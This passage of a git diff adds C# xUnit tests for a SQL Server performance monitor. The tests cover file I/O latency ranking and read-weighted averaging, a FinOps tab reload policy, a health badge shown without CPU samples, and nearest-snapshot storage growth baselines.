+    private long _nextId = 5489000;
+
+    public FileIoLatencyTopFilesTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _service = new LocalDataService(_duckDb);
+    }
+
+    public void Dispose() => _conn?.Dispose();
+
+    private readonly DateTime _anchor = new(DateTime.UtcNow.Year, DateTime.UtcNow.Month, DateTime.UtcNow.Day, DateTime.UtcNow.Hour, DateTime.UtcNow.Minute, 0, DateTimeKind.Utc);
+
+    private async Task SeedAsync(string db, string file, string fileType, int minutesAgo, long reads, long writes, long stallReadMs, long stallWriteMs)
+    {
+        if (_conn is null)
+        {
+            _conn = _duckDb.CreateConnection();
+            await _conn.OpenAsync();
+        }
+
+        using var cmd = _conn.CreateCommand();
+        cmd.CommandText = @"INSERT INTO file_io_stats
+            (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb,
+             delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms,
+             sample_interval_seconds)
+            VALUES ($1, $2, $3, 'Srv', $4, $5, $6, '', 100, $7, $8, $9, $10, $11, $12, 60)";
+        foreach (var v in new object[] { _nextId++, _anchor.AddMinutes(-minutesAgo), ServerId, db, file, fileType, reads, writes, reads * 8192, writes * 8192, stallReadMs, stallWriteMs })
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        }
+
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>Twelve databases whose log files write far more than anything else on the server and never read, and two data files with real reads.</summary>
+    private async Task SeedLogHeavyServerAsync()
+    {
+        foreach (var minutes in new[] { 20, 10 })
+        {
+            for (var i = 0; i < 12; i++)
+            {
+                await SeedAsync($"Db{i}", $"Db{i}_log", "LOG", minutes, 0, 100_000, 0, 200_000);
+            }
+
+            await SeedAsync("Db0", "Db0_data", "ROWS", minutes, 500, 20, 4_000, 60);
+            await SeedAsync("Db1", "Db1_data", "ROWS", minutes, 300, 10, 1_500, 30);
+        }
+    }
+
+    [Fact]
+    public async Task ReadChart_LogFilesWithTheLargestTotalsAndNoReads_DoNotCrowdOutTheDataFiles()
+    {
+        await SeedLogHeavyServerAsync();
+
+        var points = await _service.GetFileIoLatencyTrendAsync(ServerId, 1);
+
+        var files = points.Select(p => p.FileName).Distinct().ToList();
+        Assert.Contains("Db0_data", files);
+        Assert.Contains("Db1_data", files);
+
+        /* 4,000 ms of stall over 500 reads. */
+        Assert.Contains(points, p => p.FileName == "Db0_data" && Math.Abs(p.AvgReadLatencyMs - 8.0) < 0.001);
+        Assert.Contains(points, p => p.FileName == "Db1_data" && Math.Abs(p.AvgReadLatencyMs - 5.0) < 0.001);
+    }
+
+    [Fact]
+    public async Task WriteChart_StillGetsTheTenBusiestWriters()
+    {
+        await SeedLogHeavyServerAsync();
+
+        var points = await _service.GetFileIoLatencyTrendAsync(ServerId, 1);
+
+        /* Twelve log files write 100,000 each; the ten the write ranking keeps are the first ten by name, and they chart their 2 ms writes. */
+        var logs = points.Where(p => p.FileName.EndsWith("_log", StringComparison.Ordinal)).Select(p => p.FileName).Distinct().ToList();
+        Assert.Equal(10, logs.Count);
+        Assert.All(points.Where(p => p.FileName.EndsWith("_log", StringComparison.Ordinal)), p => Assert.Equal(2.0, p.AvgWriteLatencyMs, 3));
+    }
+
+    /// <summary>
+    /// Release walk V9b: the Overview "I/O Latency ms" lane drew one point per time as the plain average of every charted file's
+    /// read latency, so ten log files with no reads counted as ten 0 ms reads and pulled the figure down to a fraction of the data files'.
+    /// The points now carry the read count, and the lane's figure is total stall over total reads across the files that had reads.
+    /// </summary>
+    [Fact]
+    public async Task OverviewLaneFigure_IsWeightedByReads_AndIgnoresLogFilesWithNoReads()
+    {
+        await SeedLogHeavyServerAsync();
+
+        var points = await _service.GetFileIoLatencyTrendAsync(ServerId, 1);
+
+        Assert.Contains(points, p => p.FileName == "Db0_data" && p.Reads > 0);
+        Assert.All(points.Where(p => p.FileName.EndsWith("_log", StringComparison.Ordinal)), p => Assert.Equal(0, p.Reads));
+
+        /* (4,000 + 1,500) ms of stall over (500 + 300) reads at each time the data files were charted. */
+        var perTime = points.GroupBy(p => p.CollectionTime)
+            .Where(g => g.Any(p => p.Reads > 0))
+            .Select(g => IoLatencyWeighting.Weighted(g.Select(x => (x.AvgReadLatencyMs, x.Reads))))
+            .ToList();
+        Assert.NotEmpty(perTime);
+        Assert.All(perTime, v => Assert.Equal(6.875, v, 3));
+
+        /* The old plain average of the same rows is far below it: the lane understated read latency. */
+        var plain = points.GroupBy(p => p.CollectionTime).Select(g => g.Average(x => x.AvgReadLatencyMs)).Max();
+        Assert.True(plain < 2.0, $"plain average {plain}");
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/CorrelatedTimelineLanesControl.xaml.cs")]
+    public void OverviewLane_AveragesReadLatencyByReads_NotPerFile(string relativePath)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !System.IO.File.Exists(System.IO.Path.Combine(dir, "PerformanceMonitor.sln")))
+        {
+            dir = System.IO.Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        var source = System.IO.File.ReadAllText(System.IO.Path.Combine(dir!, relativePath.Replace('/', System.IO.Path.DirectorySeparatorChar)));
+        Assert.Contains("IoLatencyWeighting.Weighted(g.Select(x => (x.AvgReadLatencyMs, x.Reads)))", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("g.Average(x => x.AvgReadLatencyMs)", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void IoLatencyWeighting_FilesWithNoOperationsDoNotTakePart()
+    {
+        Assert.Equal(6.875, IoLatencyWeighting.Weighted(new[] { (8.0, 500L), (5.0, 300L), (0.0, 0L), (0.0, 0L) }), 3);
+        Assert.Equal(0, IoLatencyWeighting.Weighted(new[] { (0.0, 0L) }));
+        Assert.Equal(0, IoLatencyWeighting.Weighted(System.Array.Empty<(double, long)>()));
+    }
+
+    /// <summary>
+    /// File I/O ranking, NULL and tie order: PostgreSQL sorts a NULL first under DESC and DuckDB last, so a file whose reads were all
+    /// NULL (writes only) took a read-ranking slot in PostgreSQL alone. The ranking sums are COALESCEd to 0 and every key is NULLS
+    /// LAST, and equally busy files tie-break on the database and file name in the byte order DuckDB uses (PostgreSQL pins
+    /// COLLATE "C"), so both stores keep the same ten.
+    /// </summary>
+    [Fact]
+    public async Task Ranking_NullReadsAndTiedFiles_KeepTheSameTenInEveryStore()
+    {
+        /* Eleven data files tied on reads and writes; one more with NULL reads and some writes. The byte order drops "a9". */
+        var names = new[] { "C_data", "a0", "a1", "a2", "a3", "a4", "a5", "a6", "a7", "a8", "a9" };
+        foreach (var name in names)
+        {
+            await SeedAsync("Db", name, "ROWS", 10, 100, 5, 500, 10);
+        }
+
+        if (_conn is null)
+        {
+            _conn = _duckDb.CreateConnection();
+            await _conn.OpenAsync();
+        }
+
+        using (var cmd = _conn.CreateCommand())
+        {
+            cmd.CommandText = @"INSERT INTO file_io_stats
+                (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb,
+                 delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds)
+                VALUES ($1, $2, $3, 'Srv', 'Db', 'nullreads_log', 'LOG', '', 100, NULL, 7, NULL, 7, NULL, 7, 60)";
+            cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+            cmd.Parameters.Add(new DuckDBParameter { Value = _anchor.AddMinutes(-10) });
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+            await cmd.ExecuteNonQueryAsync();
+        }
+
+        var points = await _service.GetFileIoLatencyTrendAsync(ServerId, 1);
+        var read = points.Where(p => p.Reads > 0).Select(p => p.FileName).Distinct().ToList();
+
+        Assert.Equal(10, read.Count);
+        Assert.Contains("C_data", read);
+        Assert.DoesNotContain("a9", read);
+        Assert.DoesNotContain("nullreads_log", read);
+
+        /* Round 2, L4: the chart's ten are the read's ten (its flag columns), tie at rank 10 included: "a9" is out of both. */
+        var chartRead = FileIoChartFiles.ReadChartFiles(points, p => p.FileName, p => p.InReadTen).Select(g => g.Key).ToList();
+        Assert.Equal(read.OrderBy(n => n, StringComparer.Ordinal), chartRead.OrderBy(n => n, StringComparer.Ordinal));
+        var chartWrite = FileIoChartFiles.WriteChartFiles(points, p => p.FileName, p => p.InWriteTen).Select(g => g.Key).ToList();
+        Assert.Equal(points.Where(p => p.InWriteTen).Select(p => p.FileName).Distinct().OrderBy(n => n, StringComparer.Ordinal), chartWrite.OrderBy(n => n, StringComparer.Ordinal));
+        Assert.DoesNotContain("a9", chartWrite);
+    }
+
+    [Fact]
+    public void RankingStatements_SortNullsLastWithANameTieBreaker()
+    {
+        Assert.Contains("COALESCE(SUM(delta_reads), 0) AS total_reads", LocalDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("(ORDER BY total_reads DESC NULLS LAST, total_writes DESC NULLS LAST, database_name NULLS LAST, file_name NULLS LAST) AS read_rank", LocalDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("(ORDER BY total_writes DESC NULLS LAST, total_reads DESC NULLS LAST, database_name NULLS LAST, file_name NULLS LAST) AS write_rank", LocalDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC NULLS LAST, database_name NULLS LAST, file_name NULLS LAST", LocalDataService.FileIoThroughputTrendSql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The charts take the files the read gives them. Twelve log files at 3 ms writes and two data files at 1 ms reads: the read
+    /// chart must show the two data files (the old chart cut the combined list to ten by summed latency and kept only logs), and the
+    /// write chart the ten busiest writers, each file ranked on its own count.
+    /// </summary>
+    [Fact]
+    public void ChartFiles_EachChartTakesItsOwnTen_NotASharedTenBySummedLatency()
+    {
+        var t = DateTime.UtcNow;
+        var points = new System.Collections.Generic.List<FileIoTrendPoint>();
+        /* The read flags the ten log files with the most writes (Db02..Db11) for the write chart and the two data files for the read chart. */
+        for (var i = 0; i < 12; i++)
+        {
+            points.Add(new FileIoTrendPoint { CollectionTime = t, DatabaseName = $"Db{i:00}", FileName = "log", AvgWriteLatencyMs = 3.0, Writes = 1000 + i, InWriteTen = i >= 2 });
+        }
+
+        points.Add(new FileIoTrendPoint { CollectionTime = t, DatabaseName = "DbA", FileName = "data", AvgReadLatencyMs = 1.0, Reads = 50, Writes = 1, InReadTen = true });
+        points.Add(new FileIoTrendPoint { CollectionTime = t, DatabaseName = "DbB", FileName = "data", AvgReadLatencyMs = 1.0, Reads = 40, Writes = 1, InReadTen = true });
+        /* A file whose reads sit on interval-0 rows has no rated reads in the points, and is still in the read's ten: the chart keeps it. */
+        points.Add(new FileIoTrendPoint { CollectionTime = t, DatabaseName = "DbC", FileName = "data", AvgReadLatencyMs = 1.0, Reads = 0, Writes = 0, InReadTen = true });
+
+        var read = FileIoChartFiles.ReadChartFiles(points, p => $"{p.DatabaseName}.{p.FileName}", p => p.InReadTen);
+        var write = FileIoChartFiles.WriteChartFiles(points, p => $"{p.DatabaseName}.{p.FileName}", p => p.InWriteTen);
+
+        Assert.Equal(new[] { "DbA.data", "DbB.data", "DbC.data" }, read.Select(g => g.Key));
+
+        Assert.Equal(10, write.Count);
+        Assert.DoesNotContain(write, g => g.Key is "Db00.log" or "Db01.log");
+        Assert.All(write, g => Assert.EndsWith(".log", g.Key, StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData("Lite/Controls/ServerTab.Charts.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.FileIo.cs")]
+    public void FileIoCharts_UseTheRankedFileLists_NotASummedLatencyCut(string relativePath)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !System.IO.File.Exists(System.IO.Path.Combine(dir, "PerformanceMonitor.sln")))
+        {
+            dir = System.IO.Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        var source = System.IO.File.ReadAllText(System.IO.Path.Combine(dir!, relativePath.Replace('/', System.IO.Path.DirectorySeparatorChar)));
+        Assert.Contains("FileIoChartFiles.ReadChartFiles(data,", source, StringComparison.Ordinal);
+        Assert.Contains("FileIoChartFiles.WriteChartFiles(data,", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("limit to top 10 by total stall", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/FinOpsFirstVisitAndBaselineTests.cs b/Lite.Tests/FinOpsFirstVisitAndBaselineTests.cs
new file mode 100644
index 0000000000..09ac9a3668
--- /dev/null
+++ b/Lite.Tests/FinOpsFirstVisitAndBaselineTests.cs
@@ -0,0 +1,437 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// The FinOps tab loads once at start-up, before the first collection has run. A store that was closed for days (or a server enrolled
+/// a minute ago) then showed "No Data", empty grids and "N idle database(s)" from that empty window until the server was reselected.
+/// Showing the tab now re-runs the same whole per-server load a reselect runs, unless the last one began under 30 seconds ago; the
+/// FIRST show after start-up always reloads, and a visible tab reloads when a collection for its server finishes (at most once a minute).
+/// WPF cannot run here, so the tab itself is a source pin anchored on its method declarations, and the rule is a pure function.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class FinOpsShowReloadPolicyTests
+{
+    private static readonly DateTime Now = new(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+
+    [Fact]
+    public void NoLoadYet_Reloads() => Assert.True(FinOpsShowReloadPolicy.ShouldReloadOnShow(null, Now));
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(5)]
+    [InlineData(29)]
+    public void TheFirstShowAfterStartUp_ReloadsWhateverTheAgeOfTheStartUpLoad(int secondsAgo)
+    {
+        // Open Lite and go straight to FinOps: the start-up load began seconds ago, before the first collection.
+        Assert.True(FinOpsShowReloadPolicy.ShouldReloadOnShow(Now.AddSeconds(-secondsAgo), Now, firstShowSinceStart: true));
+        Assert.False(FinOpsShowReloadPolicy.ShouldReloadOnShow(Now.AddSeconds(-secondsAgo), Now, firstShowSinceStart: false));
+    }
+
+    [Theory]
+    [InlineData(120, 130, false)] // the collection finished before the last load began
+    [InlineData(30, 10, false)]    // finished after the last load, but the load is 30 s old: debounced
+    [InlineData(70, 10, true)]     // finished after the last load, and the load is over a minute old
+    [InlineData(70, 80, false)]    // the last load began after the collection finished
+    public void ACollectionFinishingWhileTheTabIsVisible_ReloadsOnceTheLastLoadIsAMinuteOld(int loadSecondsAgo, int collectionSecondsAgo, bool reload)
+    {
+        Assert.Equal(reload, FinOpsShowReloadPolicy.ShouldReloadAfterCollection(Now.AddSeconds(-loadSecondsAgo), Now.AddSeconds(-collectionSecondsAgo), Now));
+    }
+
+    [Fact]
+    public void ACollectionBeforeAnyLoad_Reloads() => Assert.True(FinOpsShowReloadPolicy.ShouldReloadAfterCollection(null, Now, Now));
+
+    [Theory]
+    [InlineData(0, false)]
+    [InlineData(5, false)]
+    [InlineData(29, false)]
+    [InlineData(30, true)]
+    [InlineData(8 * 60, true)]          // the start-up load, eight minutes into a first collection
+    [InlineData(9 * 24 * 3600, true)]
+    public void ReloadsOnlyWhenTheLastWholeLoadIsAtLeastHalfAMinuteOld(int secondsAgo, bool reload)
+    {
+        Assert.Equal(reload, FinOpsShowReloadPolicy.ShouldReloadOnShow(Now.AddSeconds(-secondsAgo), Now));
+    }
+
+    private static string ReadFinOpsTab([CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.Combine(RepoRoot(thisFile), "Lite", "Controls", "FinOpsTab.xaml.cs")).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    private static string RepoRoot(string thisFile)
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "Lite", "Controls", "FinOpsTab.xaml.cs")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+
+    private static string BodyOf(string source, string name)
+    {
+        var decl = Regex.Matches(source, @"private (?:async )?[\w.<>]+ " + Regex.Escape(name) + @"\(");
+        Assert.Single(decl);
+        var start = decl[0].Index;
+        var next = Regex.Match(source[(start + 10)..], @"\n    (?:private|public|internal|protected) ");
+        return next.Success ? source.Substring(start, next.Index + 10) : source[start..];
+    }
+
+    [Fact]
+    public void ShowingTheTab_RunsTheWholePerServerLoad_WhenTheLastOneIsOld()
+    {
+        var src = ReadFinOpsTab();
+        var sub = Regex.Matches(src, @"IsVisibleChanged \+= \(_, _\) => (\w+)\(\);");
+        Assert.Single(sub);
+
+        var body = BodyOf(src, sub[0].Groups[1].Value);
+        var gate = body.IndexOf("FinOpsShowReloadPolicy.ShouldReloadOnShow(_lastPerServerLoadUtc, DateTime.UtcNow, firstShow)", StringComparison.Ordinal);
+        Assert.True(gate >= 0, "The show handler does not ask FinOpsShowReloadPolicy.");
+        var whole = body.IndexOf("_ = LoadPerServerDataAsync();", gate, StringComparison.Ordinal);
+        Assert.True(whole > gate, "The show handler does not run LoadPerServerDataAsync, the load a server reselect runs.");
+        // The first show is remembered before the gate, so only the first one skips the age check.
+        Assert.True(body.IndexOf("var firstShow = _firstShowPending;", StringComparison.Ordinal) is var f && f >= 0 && f < gate);
+        Assert.Contains("_firstShowPending = false;", body, StringComparison.Ordinal);
+        // The flagged size-grid reloads stay, after the whole-load gate, for a recent load.
+        Assert.True(body.IndexOf("if (_dbSizesNeedReload) _ = LoadDatabaseSizesAsync(", whole, StringComparison.Ordinal) > whole);
+    }
+
+    [Fact]
+    public void TheOverviewRefresh_TellsTheVisibleFinOpsTab_ThatACollectionFinished()
+    {
+        var tab = ReadFinOpsTab();
+        Assert.Contains("FinOpsShowReloadPolicy.ShouldReloadAfterCollection(_lastPerServerLoadUtc, collected, DateTime.UtcNow)", tab, StringComparison.Ordinal);
+        Assert.Contains("if (!IsVisible", tab, StringComparison.Ordinal);
+
+        var main = File.ReadAllText(Path.Combine(RepoRoot(CallerFile()), "Lite", "MainWindow.xaml.cs")).Replace("\r\n", "\n", StringComparison.Ordinal);
+        Assert.Contains("FinOpsContent.NoteCollection(summary.ServerId, summary.LastCollectionTime);", main, StringComparison.Ordinal);
+    }
+
+    private static string CallerFile([CallerFilePath] string thisFile = "") => thisFile;
+
+    [Fact]
+    public void ReselectingAServer_AndShowingTheTab_RunTheSameLoad_AndEachWholeLoadStampsItsStart()
+    {
+        var src = ReadFinOpsTab();
+
+        // The reselect path.
+        Assert.Contains("await LoadPerServerDataAsync();", BodyOf(src, "ServerSelector_SelectionChanged"), StringComparison.Ordinal);
+
+        // The stamp the show handler reads is written by that same load, after its no-server guard.
+        var load = BodyOf(src, "LoadPerServerDataAsync");
+        var guard = load.IndexOf("if (serverId == 0 || _dataService == null) return;", StringComparison.Ordinal);
+        var stamp = load.IndexOf("_lastPerServerLoadUtc = DateTime.UtcNow;", StringComparison.Ordinal);
+        Assert.True(guard >= 0 && stamp > guard);
+    }
+}
+
+/// <summary>
+/// The Utilization card's health badge. A window with no CPU sample has no score: memory and storage alone can read a perfect 100
+/// beside a "No Data" status, so the badge shows a dash on a gray badge, and a tooltip says why.
+/// </summary>
+public sealed class FinOpsHealthBadgeNoCpuTests
+{
+    private static UtilizationEfficiencyRow Row(string provisioningStatus) => new()
+    {
+        ProvisioningStatus = provisioningStatus,
+        P95CpuPct = 0m,
+        PhysicalMemoryMb = 1000,
+        BufferPoolMb = 600,   // 60% of RAM: a memory score of 100
+        FreeSpacePct = 100m   // a storage score of 100
+    };
+
+    [Fact]
+    public void NoCpuSample_ShowsADash_NotAHundred()
+    {
+        var row = Row("");
+        row.HealthScore = row.ComputeHealthScore();
+
+        Assert.False(row.HasCpuSample);
+        Assert.Equal(100, row.HealthScore);                    // the partial score the old badge printed
+        Assert.Equal("Health: -", row.HealthScoreText);
+        Assert.Equal(FinOpsHealthCalculator.NoScoreColor, row.HealthScoreColor);
+    }
+
+    [Fact]
+    public void WithACpuSample_ShowsTheScore_InItsOwnColor()
+    {
+        var row = Row("RIGHT_SIZED");
+        row.HealthScore = row.ComputeHealthScore();
+
+        Assert.True(row.HasCpuSample);
+        Assert.Equal($"Health: {row.HealthScore}", row.HealthScoreText);
+        Assert.Equal(FinOpsHealthCalculator.ScoreColor(row.HealthScore), row.HealthScoreColor);
+        Assert.NotEqual(FinOpsHealthCalculator.NoScoreColor, row.HealthScoreColor);
+    }
+
+    [Fact]
+    public void TheTab_PaintsTheBadgeFromTheRow_AndNamesTheDashInItsTooltip()
+    {
+        var tab = ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml.cs");
+
+        Assert.Contains("HealthScoreText.Text = data.HealthScoreText;", tab, StringComparison.Ordinal);
+        Assert.Contains("HealthScoreBorder.ToolTip = data.HasCpuSample ? null : FinOpsHealthCalculator.NoScoreNote;", tab, StringComparison.Ordinal);
+        Assert.DoesNotContain("$\"Health: {data.HealthScore}\"", tab, StringComparison.Ordinal);
+    }
+}
+
+/// <summary>
+/// Storage Growth's "7d ago" and "30d ago" baselines are the snapshot NEAREST each mark, and only within one day of it. The old read
+/// took the newest snapshot at or before the mark however far before, so a database with a 20-day-old sample called it "7d ago".
+/// With no snapshot near the mark the size is null (n/a, tooltip "No sample from N days ago") and Growth % uses only a real baseline.
+/// </summary>
+public sealed class FinOpsStorageGrowthBaselineTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 4977;
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public FinOpsStorageGrowthBaselineTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private static readonly DateTime Collected = DateTime.SpecifyKind(
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute), DateTimeKind.Unspecified);
+
+    private async Task SeedAsync(string database, double total, double daysAgo)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        _seedConn ??= _duckDb.CreateConnection();
+        if (_seedConn.State != System.Data.ConnectionState.Open) await _seedConn.OpenAsync();
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO database_size_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id, file_id, file_type_desc,
+     file_name, physical_name, total_size_mb, used_size_mb)
+VALUES ($1, $2, $3, 'GrowthSrv', $4, 7, 1, 'ROWS', $5, $6, $7, NULL)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Collected.AddDays(-daysAgo) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = database });
+        cmd.Parameters.Add(new DuckDBParameter { Value = database + "_data" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = @"C:\" + database + "_data" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = total });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task<StorageGrowthRow> ReadAsync(string database) =>
+        Assert.Single(await new LocalDataService(_duckDb).GetStorageGrowthAsync(ServerId), r => r.DatabaseName == database);
+
+    [Fact]
+    public async Task OldestSampleIs20DaysBack_NeitherBaselineIsFound_AndGrowthPercentIsNull()
+    {
+        // Old shape: the 20-day-old sample was the newest one at or before the 7-day mark, so it was shown as "Size 7d Ago".
+        await SeedAsync("grow", 1000, 20);
+        await SeedAsync("grow", 1200, 0);
+
+        var row = await ReadAsync("grow");
+
+        Assert.Equal(1200m, row.CurrentSizeMb);
+        Assert.Null(row.Size7dAgoMb);
+        Assert.Null(row.Size30dAgoMb);
+        Assert.Null(row.Growth7dMb);
+        Assert.Null(row.Growth30dMb);
+        Assert.Null(row.GrowthPct30d);
+        Assert.Equal("No sample from 7 days ago", row.Size7dAgoNote);
+        Assert.Equal("No sample from 30 days ago", row.Size30dAgoNote);
+    }
+
+    [Fact]
+    public async Task ASampleWithinADayOfEachMark_IsTheBaseline_AndTheNearestOneWins()
+    {
+        // 7d mark: 7.2 days back is nearer than 6.5 days back. 30d mark: 29.5 days back is within a day; 31.5 days back is not.
+        await SeedAsync("grow", 100, 31.5);
+        await SeedAsync("grow", 400, 29.5);
+        await SeedAsync("grow", 700, 7.2);
+        await SeedAsync("grow", 800, 6.5);
+        await SeedAsync("grow", 1000, 0);
+
+        var row = await ReadAsync("grow");
+
+        Assert.Equal(700m, row.Size7dAgoMb);
+        Assert.Equal(400m, row.Size30dAgoMb);
+        Assert.Equal(300m, row.Growth7dMb);
+        Assert.Equal(600m, row.Growth30dMb);
+        Assert.Equal(150m, Math.Round(row.GrowthPct30d!.Value, 1));
+        Assert.Null(row.Size7dAgoNote);
+        Assert.Null(row.Size30dAgoNote);
+    }
+
+    [Fact]
+    public async Task ASampleOver1DayFromTheMark_IsNotABaseline()
+    {
+        // 8.5 days back is 1.5 days from the 7-day mark: not a baseline. 5.9 days back is 1.1 days from it: not one either.
+        await SeedAsync("grow", 500, 8.5);
+        await SeedAsync("grow", 900, 5.9);
+        await SeedAsync("grow", 1000, 0);
+
+        var row = await ReadAsync("grow");
+
+        Assert.Null(row.Size7dAgoMb);
+        Assert.Null(row.Growth7dMb);
+    }
+
+    [Fact]
+    public async Task Only7dBaseline_DailyRateUsesIt_AndGrowthPercentStaysNull()
+    {
+        await SeedAsync("grow", 700, 7);
+        await SeedAsync("grow", 1000, 0);
+
+        var row = await ReadAsync("grow");
+
+        Assert.Equal(700m, row.Size7dAgoMb);
+        Assert.Null(row.Size30dAgoMb);
+        Assert.Null(row.GrowthPct30d);
+        Assert.NotNull(row.DailyGrowthRateMb);
+        Assert.InRange(row.DailyGrowthRateMb!.Value, 42m, 44m);   // 300 MB over 7 days
+    }
+
+    [Fact]
+    public void TheGrid_ShowsNaAndTheNoteOnTheBaselineCells()
+    {
+        var xaml = ParitySource.ReadFile("Lite/Controls/FinOpsTab.xaml");
+        var start = xaml.IndexOf("<DataGrid x:Name=\"StorageGrowthDataGrid\"", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var block = xaml[start..xaml.IndexOf("</DataGrid>", start, StringComparison.Ordinal)];
+
+        Assert.Contains("Binding=\"{Binding Size7dAgoMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}\"", block, StringComparison.Ordinal);
+        Assert.Contains("Binding=\"{Binding Size30dAgoMb, StringFormat='{}{0:N2}', TargetNullValue='n/a'}\"", block, StringComparison.Ordinal);
+        Assert.Equal(2, Regex.Matches(block, Regex.Escape("Value=\"{Binding Size7dAgoNote}\"")).Count);     // Size 7d Ago, Growth 7d
+        Assert.Equal(3, Regex.Matches(block, Regex.Escape("Value=\"{Binding Size30dAgoNote}\"")).Count);    // Size 30d Ago, Growth 30d, Growth %
+    }
+
+    [Fact]
+    public void TheSql_PicksTheNearestSnapshotWithinOneDay_NotTheNewestAtOrBeforeTheMark()
+    {
+        var sql = LocalDataService.StorageGrowthSql;
+
+
+        Assert.Equal(2, Regex.Matches(sql, "<= 86400").Count);
+        Assert.Contains("s.collection_time = (SELECT t FROM base_7d)", sql, StringComparison.Ordinal);
+        Assert.Contains("s.collection_time = (SELECT t FROM base_30d)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("collection_time <= $2", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("collection_time <= $3", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ASixDayHistory_GivesARealSevenDayBaseline_AndNothingFor30Days()
+    {
+        // A store that has run for 6 days: its oldest sample is 6 days back, exactly one day from the 7-day mark, so it is the 7-day
+        // baseline (the walk's "Size 7d Ago" equal to current was a database that did not change in those 6 days). 30 days has no sample.
+        foreach (var (size, daysAgo) in new[] { (600.0, 6), (700.0, 5), (800.0, 3), (900.0, 1), (1000.0, 0) })
+            await SeedAsync("grow", size, daysAgo);
+
+        var row = await ReadAsync("grow");
+
+        Assert.Equal(600m, row.Size7dAgoMb);
+        Assert.Equal(400m, row.Growth7dMb);
+        Assert.Null(row.Size7dAgoNote);
+        Assert.Null(row.Size30dAgoMb);
+        Assert.Null(row.Growth30dMb);
+        Assert.Null(row.GrowthPct30d);
+        Assert.Equal("No sample from 30 days ago", row.Size30dAgoNote);
+    }
+
+    [Fact]
+    public async Task ASixDayHistoryOfAnUnchangedDatabase_ReadsTheSevenDayBaselineAsCurrent_AndGrowthAsZero()
+    {
+        // The baseline is the sample, not a fallback: an unchanged database reads equal to current because it is.
+        foreach (var daysAgo in new[] { 6, 4, 2, 0 })
+            await SeedAsync("flat", 500, daysAgo);
+
+        var row = await ReadAsync("flat");
+
+        Assert.Equal(500m, row.Size7dAgoMb);
+        Assert.Equal(0m, row.Growth7dMb);
+        Assert.Null(row.Size30dAgoMb);
+    }
+}
+
+/// <summary>
+/// The Utilization card for a window with no CPU sample (a stale server, or one whose CPU collector is off). The read returns 0 for
